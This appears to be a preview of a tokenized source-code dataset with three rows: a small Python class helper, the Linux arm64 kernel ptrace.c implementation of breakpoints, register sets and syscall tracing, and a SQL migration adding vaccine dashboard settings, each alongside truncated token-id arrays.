code
stringlengths
4
991k
repo_name
stringlengths
6
116
path
stringlengths
4
249
language
stringclasses
30 values
license
stringclasses
15 values
size
int64
4
991k
input_ids
listlengths
502
502
token_type_ids
listlengths
502
502
attention_mask
listlengths
502
502
labels
listlengths
502
502
# -*- coding: utf-8 -*- def classeq(x, y): return x.__class__==y.__class__ class Element(object): pass
chaosim/dao
dao/base.py
Python
gpl-3.0
113
[ 30522, 1001, 1011, 1008, 1011, 16861, 1024, 21183, 2546, 1011, 1022, 1011, 1008, 1011, 13366, 2465, 2063, 4160, 1006, 1060, 1010, 1061, 1007, 1024, 2709, 1060, 1012, 1035, 1035, 2465, 1035, 1035, 1027, 1027, 1061, 1012, 1035, 1035, 2465, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Based on arch/arm/kernel/ptrace.c * * By Ross Biro 1/23/92 * edited by Linus Torvalds * ARM modifications Copyright (C) 2000 Russell King * Copyright (C) 2012 ARM Ltd. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <linux/audit.h> #include <linux/compat.h> #include <linux/kernel.h> #include <linux/sched.h> #include <linux/mm.h> #include <linux/smp.h> #include <linux/ptrace.h> #include <linux/user.h> #include <linux/seccomp.h> #include <linux/security.h> #include <linux/init.h> #include <linux/signal.h> #include <linux/uaccess.h> #include <linux/perf_event.h> #include <linux/hw_breakpoint.h> #include <linux/regset.h> #include <linux/tracehook.h> #include <linux/elf.h> #include <asm/compat.h> #include <asm/debug-monitors.h> #include <asm/pgtable.h> #include <asm/syscall.h> #include <asm/traps.h> #include <asm/system_misc.h> #define CREATE_TRACE_POINTS #include <trace/events/syscalls.h> /* * TODO: does not yet catch signals sent when the child dies. * in exit.c or in signal.c. */ /* * Called by kernel/ptrace.c when detaching.. */ void ptrace_disable(struct task_struct *child) { } #ifdef CONFIG_HAVE_HW_BREAKPOINT /* * Handle hitting a HW-breakpoint. */ static void ptrace_hbptriggered(struct perf_event *bp, struct perf_sample_data *data, struct pt_regs *regs) { struct arch_hw_breakpoint *bkpt = counter_arch_bp(bp); siginfo_t info = { .si_signo = SIGTRAP, .si_errno = 0, .si_code = TRAP_HWBKPT, .si_addr = (void __user *)(bkpt->trigger), }; #ifdef CONFIG_COMPAT int i; if (!is_compat_task()) goto send_sig; for (i = 0; i < ARM_MAX_BRP; ++i) { if (current->thread.debug.hbp_break[i] == bp) { info.si_errno = (i << 1) + 1; break; } } for (i = 0; i < ARM_MAX_WRP; ++i) { if (current->thread.debug.hbp_watch[i] == bp) { info.si_errno = -((i << 1) + 1); break; } } send_sig: #endif force_sig_info(SIGTRAP, &info, current); } /* * Unregister breakpoints from this task and reset the pointers in * the thread_struct. */ void flush_ptrace_hw_breakpoint(struct task_struct *tsk) { int i; struct thread_struct *t = &tsk->thread; for (i = 0; i < ARM_MAX_BRP; i++) { if (t->debug.hbp_break[i]) { unregister_hw_breakpoint(t->debug.hbp_break[i]); t->debug.hbp_break[i] = NULL; } } for (i = 0; i < ARM_MAX_WRP; i++) { if (t->debug.hbp_watch[i]) { unregister_hw_breakpoint(t->debug.hbp_watch[i]); t->debug.hbp_watch[i] = NULL; } } } void ptrace_hw_copy_thread(struct task_struct *tsk) { memset(&tsk->thread.debug, 0, sizeof(struct debug_info)); } static struct perf_event *ptrace_hbp_get_event(unsigned int note_type, struct task_struct *tsk, unsigned long idx) { struct perf_event *bp = ERR_PTR(-EINVAL); switch (note_type) { case NT_ARM_HW_BREAK: if (idx < ARM_MAX_BRP) bp = tsk->thread.debug.hbp_break[idx]; break; case NT_ARM_HW_WATCH: if (idx < ARM_MAX_WRP) bp = tsk->thread.debug.hbp_watch[idx]; break; } return bp; } static int ptrace_hbp_set_event(unsigned int note_type, struct task_struct *tsk, unsigned long idx, struct perf_event *bp) { int err = -EINVAL; switch (note_type) { case NT_ARM_HW_BREAK: if (idx < ARM_MAX_BRP) { tsk->thread.debug.hbp_break[idx] = bp; err = 0; } break; case NT_ARM_HW_WATCH: if (idx < ARM_MAX_WRP) { tsk->thread.debug.hbp_watch[idx] = bp; err = 0; } break; } return err; } static struct perf_event *ptrace_hbp_create(unsigned int note_type, struct task_struct *tsk, unsigned long idx) { struct perf_event *bp; struct perf_event_attr attr; int err, type; switch (note_type) { case NT_ARM_HW_BREAK: type = HW_BREAKPOINT_X; break; case NT_ARM_HW_WATCH: type = HW_BREAKPOINT_RW; break; default: return ERR_PTR(-EINVAL); } ptrace_breakpoint_init(&attr); /* * Initialise fields to sane defaults * (i.e. values that will pass validation). */ attr.bp_addr = 0; attr.bp_len = HW_BREAKPOINT_LEN_4; attr.bp_type = type; attr.disabled = 1; bp = register_user_hw_breakpoint(&attr, ptrace_hbptriggered, NULL, tsk); if (IS_ERR(bp)) return bp; err = ptrace_hbp_set_event(note_type, tsk, idx, bp); if (err) return ERR_PTR(err); return bp; } static int ptrace_hbp_fill_attr_ctrl(unsigned int note_type, struct arch_hw_breakpoint_ctrl ctrl, struct perf_event_attr *attr) { int err, len, type, disabled = !ctrl.enabled; attr->disabled = disabled; if (disabled) return 0; err = arch_bp_generic_fields(ctrl, &len, &type); if (err) return err; switch (note_type) { case NT_ARM_HW_BREAK: if ((type & HW_BREAKPOINT_X) != type) return -EINVAL; break; case NT_ARM_HW_WATCH: if ((type & HW_BREAKPOINT_RW) != type) return -EINVAL; break; default: return -EINVAL; } attr->bp_len = len; attr->bp_type = type; return 0; } static int ptrace_hbp_get_resource_info(unsigned int note_type, u32 *info) { u8 num; u32 reg = 0; switch (note_type) { case NT_ARM_HW_BREAK: num = hw_breakpoint_slots(TYPE_INST); break; case NT_ARM_HW_WATCH: num = hw_breakpoint_slots(TYPE_DATA); break; default: return -EINVAL; } reg |= debug_monitors_arch(); reg <<= 8; reg |= num; *info = reg; return 0; } static int ptrace_hbp_get_ctrl(unsigned int note_type, struct task_struct *tsk, unsigned long idx, u32 *ctrl) { struct perf_event *bp = ptrace_hbp_get_event(note_type, tsk, idx); if (IS_ERR(bp)) return PTR_ERR(bp); *ctrl = bp ? encode_ctrl_reg(counter_arch_bp(bp)->ctrl) : 0; return 0; } static int ptrace_hbp_get_addr(unsigned int note_type, struct task_struct *tsk, unsigned long idx, u64 *addr) { struct perf_event *bp = ptrace_hbp_get_event(note_type, tsk, idx); if (IS_ERR(bp)) return PTR_ERR(bp); *addr = bp ? bp->attr.bp_addr : 0; return 0; } static struct perf_event *ptrace_hbp_get_initialised_bp(unsigned int note_type, struct task_struct *tsk, unsigned long idx) { struct perf_event *bp = ptrace_hbp_get_event(note_type, tsk, idx); if (!bp) bp = ptrace_hbp_create(note_type, tsk, idx); return bp; } static int ptrace_hbp_set_ctrl(unsigned int note_type, struct task_struct *tsk, unsigned long idx, u32 uctrl) { int err; struct perf_event *bp; struct perf_event_attr attr; struct arch_hw_breakpoint_ctrl ctrl; bp = ptrace_hbp_get_initialised_bp(note_type, tsk, idx); if (IS_ERR(bp)) { err = PTR_ERR(bp); return err; } attr = bp->attr; decode_ctrl_reg(uctrl, &ctrl); err = ptrace_hbp_fill_attr_ctrl(note_type, ctrl, &attr); if (err) return err; return modify_user_hw_breakpoint(bp, &attr); } static int ptrace_hbp_set_addr(unsigned int note_type, struct task_struct *tsk, unsigned long idx, u64 addr) { int err; struct perf_event *bp; struct perf_event_attr attr; bp = ptrace_hbp_get_initialised_bp(note_type, tsk, idx); if (IS_ERR(bp)) { err = PTR_ERR(bp); return err; } attr = bp->attr; attr.bp_addr = addr; err = modify_user_hw_breakpoint(bp, &attr); return err; } #define PTRACE_HBP_ADDR_SZ sizeof(u64) #define PTRACE_HBP_CTRL_SZ sizeof(u32) #define PTRACE_HBP_PAD_SZ sizeof(u32) static int hw_break_get(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, void *kbuf, void __user *ubuf) { unsigned int note_type = regset->core_note_type; int ret, idx = 0, offset, limit; u32 info, ctrl; u64 addr; /* Resource info */ ret = ptrace_hbp_get_resource_info(note_type, &info); if (ret) return ret; ret = user_regset_copyout(&pos, &count, &kbuf, &ubuf, &info, 0, sizeof(info)); if (ret) return ret; /* Pad */ offset = offsetof(struct user_hwdebug_state, pad); ret = user_regset_copyout_zero(&pos, &count, &kbuf, &ubuf, offset, offset + PTRACE_HBP_PAD_SZ); if (ret) return ret; /* (address, ctrl) registers */ offset = offsetof(struct user_hwdebug_state, dbg_regs); limit = regset->n * regset->size; while (count && offset < limit) { ret = ptrace_hbp_get_addr(note_type, target, idx, &addr); if (ret) return ret; ret = user_regset_copyout(&pos, &count, &kbuf, &ubuf, &addr, offset, offset + PTRACE_HBP_ADDR_SZ); if (ret) return ret; offset += PTRACE_HBP_ADDR_SZ; ret = ptrace_hbp_get_ctrl(note_type, target, idx, &ctrl); if (ret) return ret; ret = user_regset_copyout(&pos, &count, &kbuf, &ubuf, &ctrl, offset, offset + PTRACE_HBP_CTRL_SZ); if (ret) return ret; offset += PTRACE_HBP_CTRL_SZ; ret = user_regset_copyout_zero(&pos, &count, &kbuf, &ubuf, offset, offset + PTRACE_HBP_PAD_SZ); if (ret) return ret; offset += PTRACE_HBP_PAD_SZ; idx++; } return 0; } static int hw_break_set(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, const void *kbuf, const void __user *ubuf) { unsigned int note_type = regset->core_note_type; int ret, idx = 0, offset, limit; u32 ctrl; u64 addr; /* Resource info and pad */ offset = offsetof(struct user_hwdebug_state, dbg_regs); ret = user_regset_copyin_ignore(&pos, &count, &kbuf, &ubuf, 0, offset); if (ret) return ret; /* (address, ctrl) registers */ limit = regset->n * regset->size; while (count && offset < limit) { ret = user_regset_copyin(&pos, &count, &kbuf, &ubuf, &addr, offset, offset + PTRACE_HBP_ADDR_SZ); if (ret) return ret; ret = ptrace_hbp_set_addr(note_type, target, idx, addr); if (ret) return ret; offset += PTRACE_HBP_ADDR_SZ; ret = user_regset_copyin(&pos, &count, &kbuf, &ubuf, &ctrl, offset, offset + PTRACE_HBP_CTRL_SZ); if (ret) return ret; ret = ptrace_hbp_set_ctrl(note_type, target, idx, ctrl); if (ret) return ret; offset += PTRACE_HBP_CTRL_SZ; ret = user_regset_copyin_ignore(&pos, &count, &kbuf, &ubuf, offset, offset + PTRACE_HBP_PAD_SZ); if (ret) return ret; offset += PTRACE_HBP_PAD_SZ; idx++; } return 0; } #endif /* CONFIG_HAVE_HW_BREAKPOINT */ static int gpr_get(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, void *kbuf, void __user *ubuf) { struct user_pt_regs *uregs = &task_pt_regs(target)->user_regs; return user_regset_copyout(&pos, &count, &kbuf, &ubuf, uregs, 0, -1); } static int gpr_set(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, const void *kbuf, const void __user *ubuf) { int ret; struct user_pt_regs newregs; ret = user_regset_copyin(&pos, &count, &kbuf, &ubuf, &newregs, 0, -1); if (ret) return ret; if (!valid_user_regs(&newregs)) return -EINVAL; task_pt_regs(target)->user_regs = newregs; return 0; } /* * TODO: update fp accessors for lazy context switching (sync/flush hwstate) */ static int fpr_get(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, void *kbuf, void __user *ubuf) { struct user_fpsimd_state *uregs; uregs = &target->thread.fpsimd_state.user_fpsimd; return user_regset_copyout(&pos, &count, &kbuf, &ubuf, uregs, 0, -1); } static int fpr_set(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, const void *kbuf, const void __user *ubuf) { int ret; struct user_fpsimd_state newstate; ret = user_regset_copyin(&pos, &count, &kbuf, &ubuf, &newstate, 0, -1); if (ret) return ret; target->thread.fpsimd_state.user_fpsimd = newstate; fpsimd_flush_task_state(target); return ret; } static int tls_get(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, void *kbuf, void __user *ubuf) { unsigned long *tls = &target->thread.tp_value; return user_regset_copyout(&pos, &count, &kbuf, &ubuf, tls, 0, -1); } static int tls_set(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, const void *kbuf, const void __user *ubuf) { int ret; unsigned long tls; ret = user_regset_copyin(&pos, &count, &kbuf, &ubuf, &tls, 0, -1); if (ret) return ret; target->thread.tp_value = tls; return ret; } enum aarch64_regset { REGSET_GPR, REGSET_FPR, REGSET_TLS, #ifdef CONFIG_HAVE_HW_BREAKPOINT REGSET_HW_BREAK, REGSET_HW_WATCH, #endif }; static const struct user_regset aarch64_regsets[] = { [REGSET_GPR] = { .core_note_type = NT_PRSTATUS, .n = sizeof(struct user_pt_regs) / sizeof(u64), .size = sizeof(u64), .align = sizeof(u64), .get = gpr_get, .set = gpr_set }, [REGSET_FPR] = { .core_note_type = NT_PRFPREG, .n = sizeof(struct user_fpsimd_state) / sizeof(u32), /* * We pretend we have 32-bit registers because the fpsr and * fpcr are 32-bits wide. */ .size = sizeof(u32), .align = sizeof(u32), .get = fpr_get, .set = fpr_set }, [REGSET_TLS] = { .core_note_type = NT_ARM_TLS, .n = 1, .size = sizeof(void *), .align = sizeof(void *), .get = tls_get, .set = tls_set, }, #ifdef CONFIG_HAVE_HW_BREAKPOINT [REGSET_HW_BREAK] = { .core_note_type = NT_ARM_HW_BREAK, .n = sizeof(struct user_hwdebug_state) / sizeof(u32), .size = sizeof(u32), .align = sizeof(u32), .get = hw_break_get, .set = hw_break_set, }, [REGSET_HW_WATCH] = { .core_note_type = NT_ARM_HW_WATCH, .n = sizeof(struct user_hwdebug_state) / sizeof(u32), .size = sizeof(u32), .align = sizeof(u32), .get = hw_break_get, .set = hw_break_set, }, #endif }; static const struct user_regset_view user_aarch64_view = { .name = "aarch64", .e_machine = EM_AARCH64, .regsets = aarch64_regsets, .n = ARRAY_SIZE(aarch64_regsets) }; #ifdef CONFIG_COMPAT #include <linux/compat.h> enum compat_regset { REGSET_COMPAT_GPR, REGSET_COMPAT_VFP, }; static int compat_gpr_get(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, void *kbuf, void __user *ubuf) { int ret = 0; unsigned int i, start, num_regs; /* Calculate the number of AArch32 registers contained in count */ num_regs = count / regset->size; /* Convert pos into an register number */ start = pos / regset->size; if (start + num_regs > regset->n) return -EIO; for (i = 0; i < num_regs; ++i) { unsigned int idx = start + i; compat_ulong_t reg; switch (idx) { case 15: reg = task_pt_regs(target)->pc; break; case 16: reg = task_pt_regs(target)->pstate; break; case 17: reg = task_pt_regs(target)->orig_x0; break; default: reg = task_pt_regs(target)->regs[idx]; } ret = copy_to_user(ubuf, &reg, sizeof(reg)); if (ret) break; ubuf += sizeof(reg); } return ret; } static int compat_gpr_set(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, const void *kbuf, const void __user *ubuf) { struct pt_regs newregs; int ret = 0; unsigned int i, start, num_regs; /* Calculate the number of AArch32 registers contained in count */ num_regs = count / regset->size; /* Convert pos into an register number */ start = pos / regset->size; if (start + num_regs > regset->n) return -EIO; newregs = *task_pt_regs(target); for (i = 0; i < num_regs; ++i) { unsigned int idx = start + i; compat_ulong_t reg; if (kbuf) { memcpy(&reg, kbuf, sizeof(reg)); kbuf += sizeof(reg); } else { ret = copy_from_user(&reg, ubuf, sizeof(reg)); if (ret) { ret = -EFAULT; break; } ubuf += sizeof(reg); } switch (idx) { case 15: newregs.pc = reg; break; case 16: newregs.pstate = reg; break; case 17: newregs.orig_x0 = reg; break; default: newregs.regs[idx] = reg; } } if (valid_user_regs(&newregs.user_regs)) *task_pt_regs(target) = newregs; else ret = -EINVAL; return ret; } static int compat_vfp_get(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, void *kbuf, void __user *ubuf) { struct user_fpsimd_state *uregs; compat_ulong_t fpscr; int ret; uregs = &target->thread.fpsimd_state.user_fpsimd; /* * The VFP registers are packed into the fpsimd_state, so they all sit * nicely together for us. We just need to create the fpscr separately. */ ret = user_regset_copyout(&pos, &count, &kbuf, &ubuf, uregs, 0, VFP_STATE_SIZE - sizeof(compat_ulong_t)); if (count && !ret) { fpscr = (uregs->fpsr & VFP_FPSCR_STAT_MASK) | (uregs->fpcr & VFP_FPSCR_CTRL_MASK); ret = put_user(fpscr, (compat_ulong_t *)ubuf); } return ret; } static int compat_vfp_set(struct task_struct *target, const struct user_regset *regset, unsigned int pos, unsigned int count, const void *kbuf, const void __user *ubuf) { struct user_fpsimd_state *uregs; compat_ulong_t fpscr; int ret; if (pos + count > VFP_STATE_SIZE) return -EIO; uregs = &target->thread.fpsimd_state.user_fpsimd; ret = user_regset_copyin(&pos, &count, &kbuf, &ubuf, uregs, 0, VFP_STATE_SIZE - sizeof(compat_ulong_t)); if (count && !ret) { ret = get_user(fpscr, (compat_ulong_t *)ubuf); uregs->fpsr = fpscr & VFP_FPSCR_STAT_MASK; uregs->fpcr = fpscr & VFP_FPSCR_CTRL_MASK; } fpsimd_flush_task_state(target); return ret; } static const struct user_regset aarch32_regsets[] = { [REGSET_COMPAT_GPR] = { .core_note_type = NT_PRSTATUS, .n = COMPAT_ELF_NGREG, .size = sizeof(compat_elf_greg_t), .align = sizeof(compat_elf_greg_t), .get = compat_gpr_get, .set = compat_gpr_set }, [REGSET_COMPAT_VFP] = { .core_note_type = NT_ARM_VFP, .n = VFP_STATE_SIZE / sizeof(compat_ulong_t), .size = sizeof(compat_ulong_t), .align = sizeof(compat_ulong_t), .get = compat_vfp_get, .set = compat_vfp_set }, }; static const struct user_regset_view user_aarch32_view = { .name = "aarch32", .e_machine = EM_ARM, .regsets = aarch32_regsets, .n = ARRAY_SIZE(aarch32_regsets) }; static int compat_ptrace_read_user(struct task_struct *tsk, compat_ulong_t off, compat_ulong_t __user *ret) { compat_ulong_t tmp; if (off & 3) return -EIO; if (off == COMPAT_PT_TEXT_ADDR) tmp = tsk->mm->start_code; else if (off == COMPAT_PT_DATA_ADDR) tmp = tsk->mm->start_data; else if (off == COMPAT_PT_TEXT_END_ADDR) tmp = tsk->mm->end_code; else if (off < sizeof(compat_elf_gregset_t)) return copy_regset_to_user(tsk, &user_aarch32_view, REGSET_COMPAT_GPR, off, sizeof(compat_ulong_t), ret); else if (off >= COMPAT_USER_SZ) return -EIO; else tmp = 0; return put_user(tmp, ret); } static int compat_ptrace_write_user(struct task_struct *tsk, compat_ulong_t off, compat_ulong_t val) { int ret; mm_segment_t old_fs = get_fs(); if (off & 3 || off >= COMPAT_USER_SZ) return -EIO; if (off >= sizeof(compat_elf_gregset_t)) return 0; set_fs(KERNEL_DS); ret = copy_regset_from_user(tsk, &user_aarch32_view, REGSET_COMPAT_GPR, off, sizeof(compat_ulong_t), &val); set_fs(old_fs); return ret; } #ifdef CONFIG_HAVE_HW_BREAKPOINT /* * Convert a virtual register number into an index for a thread_info * breakpoint array. Breakpoints are identified using positive numbers * whilst watchpoints are negative. The registers are laid out as pairs * of (address, control), each pair mapping to a unique hw_breakpoint struct. * Register 0 is reserved for describing resource information. */ static int compat_ptrace_hbp_num_to_idx(compat_long_t num) { return (abs(num) - 1) >> 1; } static int compat_ptrace_hbp_get_resource_info(u32 *kdata) { u8 num_brps, num_wrps, debug_arch, wp_len; u32 reg = 0; num_brps = hw_breakpoint_slots(TYPE_INST); num_wrps = hw_breakpoint_slots(TYPE_DATA); debug_arch = debug_monitors_arch(); wp_len = 8; reg |= debug_arch; reg <<= 8; reg |= wp_len; reg <<= 8; reg |= num_wrps; reg <<= 8; reg |= num_brps; *kdata = reg; return 0; } static int compat_ptrace_hbp_get(unsigned int note_type, struct task_struct *tsk, compat_long_t num, u32 *kdata) { u64 addr = 0; u32 ctrl = 0; int err, idx = compat_ptrace_hbp_num_to_idx(num);; if (num & 1) { err = ptrace_hbp_get_addr(note_type, tsk, idx, &addr); *kdata = (u32)addr; } else { err = ptrace_hbp_get_ctrl(note_type, tsk, idx, &ctrl); *kdata = ctrl; } return err; } static int compat_ptrace_hbp_set(unsigned int note_type, struct task_struct *tsk, compat_long_t num, u32 *kdata) { u64 addr; u32 ctrl; int err, idx = compat_ptrace_hbp_num_to_idx(num); if (num & 1) { addr = *kdata; err = ptrace_hbp_set_addr(note_type, tsk, idx, addr); } else { ctrl = *kdata; err = ptrace_hbp_set_ctrl(note_type, tsk, idx, ctrl); } return err; } static int compat_ptrace_gethbpregs(struct task_struct *tsk, compat_long_t num, compat_ulong_t __user *data) { int ret; u32 kdata; mm_segment_t old_fs = get_fs(); set_fs(KERNEL_DS); /* Watchpoint */ if (num < 0) { ret = compat_ptrace_hbp_get(NT_ARM_HW_WATCH, tsk, num, &kdata); /* Resource info */ } else if (num == 0) { ret = compat_ptrace_hbp_get_resource_info(&kdata); /* Breakpoint */ } else { ret = compat_ptrace_hbp_get(NT_ARM_HW_BREAK, tsk, num, &kdata); } set_fs(old_fs); if (!ret) ret = put_user(kdata, data); return ret; } static int compat_ptrace_sethbpregs(struct task_struct *tsk, compat_long_t num, compat_ulong_t __user *data) { int ret; u32 kdata = 0; mm_segment_t old_fs = get_fs(); if (num == 0) return 0; ret = get_user(kdata, data); if (ret) return ret; set_fs(KERNEL_DS); if (num < 0) ret = compat_ptrace_hbp_set(NT_ARM_HW_WATCH, tsk, num, &kdata); else ret = compat_ptrace_hbp_set(NT_ARM_HW_BREAK, tsk, num, &kdata); set_fs(old_fs); return ret; } #endif /* CONFIG_HAVE_HW_BREAKPOINT */ long compat_arch_ptrace(struct task_struct *child, compat_long_t request, compat_ulong_t caddr, compat_ulong_t cdata) { unsigned long addr = caddr; unsigned long data = cdata; void __user *datap = compat_ptr(data); int ret; switch (request) { case PTRACE_PEEKUSR: ret = compat_ptrace_read_user(child, addr, datap); break; case PTRACE_POKEUSR: ret = compat_ptrace_write_user(child, addr, data); break; case COMPAT_PTRACE_GETREGS: ret = copy_regset_to_user(child, &user_aarch32_view, REGSET_COMPAT_GPR, 0, sizeof(compat_elf_gregset_t), datap); break; case COMPAT_PTRACE_SETREGS: ret = copy_regset_from_user(child, &user_aarch32_view, REGSET_COMPAT_GPR, 0, sizeof(compat_elf_gregset_t), datap); break; case COMPAT_PTRACE_GET_THREAD_AREA: ret = put_user((compat_ulong_t)child->thread.tp_value, (compat_ulong_t __user *)datap); break; case COMPAT_PTRACE_SET_SYSCALL: task_pt_regs(child)->syscallno = data; ret = 0; break; case COMPAT_PTRACE_GETVFPREGS: ret = copy_regset_to_user(child, &user_aarch32_view, REGSET_COMPAT_VFP, 0, VFP_STATE_SIZE, datap); break; case COMPAT_PTRACE_SETVFPREGS: ret = copy_regset_from_user(child, &user_aarch32_view, REGSET_COMPAT_VFP, 0, VFP_STATE_SIZE, datap); break; #ifdef CONFIG_HAVE_HW_BREAKPOINT case COMPAT_PTRACE_GETHBPREGS: ret = compat_ptrace_gethbpregs(child, addr, datap); break; case COMPAT_PTRACE_SETHBPREGS: ret = compat_ptrace_sethbpregs(child, addr, datap); break; #endif default: ret = compat_ptrace_request(child, request, addr, data); break; } return ret; } #endif /* CONFIG_COMPAT */ const struct user_regset_view *task_user_regset_view(struct task_struct *task) { #ifdef CONFIG_COMPAT if (is_compat_thread(task_thread_info(task))) return &user_aarch32_view; #endif return &user_aarch64_view; } long arch_ptrace(struct task_struct *child, long request, unsigned long addr, unsigned long data) { int ret; switch (request) { case PTRACE_SET_SYSCALL: task_pt_regs(child)->syscallno = data; ret = 0; break; default: ret = ptrace_request(child, request, addr, data); break; } return ret; } enum ptrace_syscall_dir { PTRACE_SYSCALL_ENTER = 0, PTRACE_SYSCALL_EXIT, }; static void tracehook_report_syscall(struct pt_regs *regs, enum ptrace_syscall_dir dir) { int regno; unsigned long saved_reg; /* * A scratch register (ip(r12) on AArch32, x7 on AArch64) is * used to denote syscall entry/exit: */ regno = (is_compat_task() ? 12 : 7); saved_reg = regs->regs[regno]; regs->regs[regno] = dir; if (dir == PTRACE_SYSCALL_EXIT) tracehook_report_syscall_exit(regs, 0); else if (tracehook_report_syscall_entry(regs)) regs->syscallno = ~0UL; regs->regs[regno] = saved_reg; } asmlinkage int syscall_trace_enter(struct pt_regs *regs) { if (secure_computing(regs->syscallno) == -1) return RET_SKIP_SYSCALL_TRACE; if (test_thread_flag(TIF_SYSCALL_TRACE)) tracehook_report_syscall(regs, PTRACE_SYSCALL_ENTER); if (test_thread_flag(TIF_SYSCALL_TRACEPOINT)) trace_sys_enter(regs, regs->syscallno); audit_syscall_entry(syscall_get_arch(), regs->syscallno, regs->orig_x0, regs->regs[1], regs->regs[2], regs->regs[3]); return regs->syscallno; } asmlinkage void syscall_trace_exit(struct pt_regs *regs) { if (test_thread_flag(TIF_SYSCALL_TRACEPOINT)) trace_sys_exit(regs, regs_return_value(regs)); audit_syscall_exit(regs); if (test_thread_flag(TIF_SYSCALL_TRACE)) tracehook_report_syscall(regs, PTRACE_SYSCALL_EXIT); }
XePeleato/ALE-L21_ESAL
arch/arm64/kernel/ptrace.c
C
gpl-2.0
26,115
[ 30522, 1013, 1008, 1008, 2241, 2006, 7905, 1013, 2849, 1013, 16293, 1013, 13866, 22903, 1012, 1039, 1008, 1008, 2011, 5811, 12170, 3217, 1015, 1013, 2603, 1013, 6227, 1008, 5493, 2011, 11409, 2271, 17153, 10175, 5104, 1008, 2849, 12719, 938...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
delete from configuration_settings where key = 'VACCINE_DASHBOARD_DEFAULT_PRODUCT'; INSERT INTO configuration_settings (key, name, groupname, description, value, valueType, displayOrder) values ('VACCINE_DASHBOARD_DEFAULT_PRODUCT', 'Configure Default vaccine product', 'Dashboard', '','2412', 'TEXT', 1); delete from configuration_settings where key = 'VACCINE_DASHBOARD_DEFAULT_PERIOD_TREND'; INSERT INTO configuration_settings (key, name, groupname, description, value, valueType, displayOrder) values ('VACCINE_DASHBOARD_DEFAULT_PERIOD_TREND', 'Configure Default vaccine period trend', 'Dashboard', '','4', 'NUMBER', 1);
kelvinmbwilo/open_elmis
modules/migration/src/main/resources/db/migration/archive/vaccine/reports/conf/V658__add_vaccine_dashboard_default_values.sql
SQL
agpl-3.0
637
[ 30522, 3972, 12870, 2013, 9563, 1035, 10906, 2073, 3145, 1027, 1005, 17404, 1035, 24923, 1035, 12398, 1035, 4031, 1005, 1025, 19274, 2046, 9563, 1035, 10906, 1006, 3145, 1010, 2171, 1010, 2177, 18442, 1010, 6412, 1010, 3643, 1010, 3643, 138...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
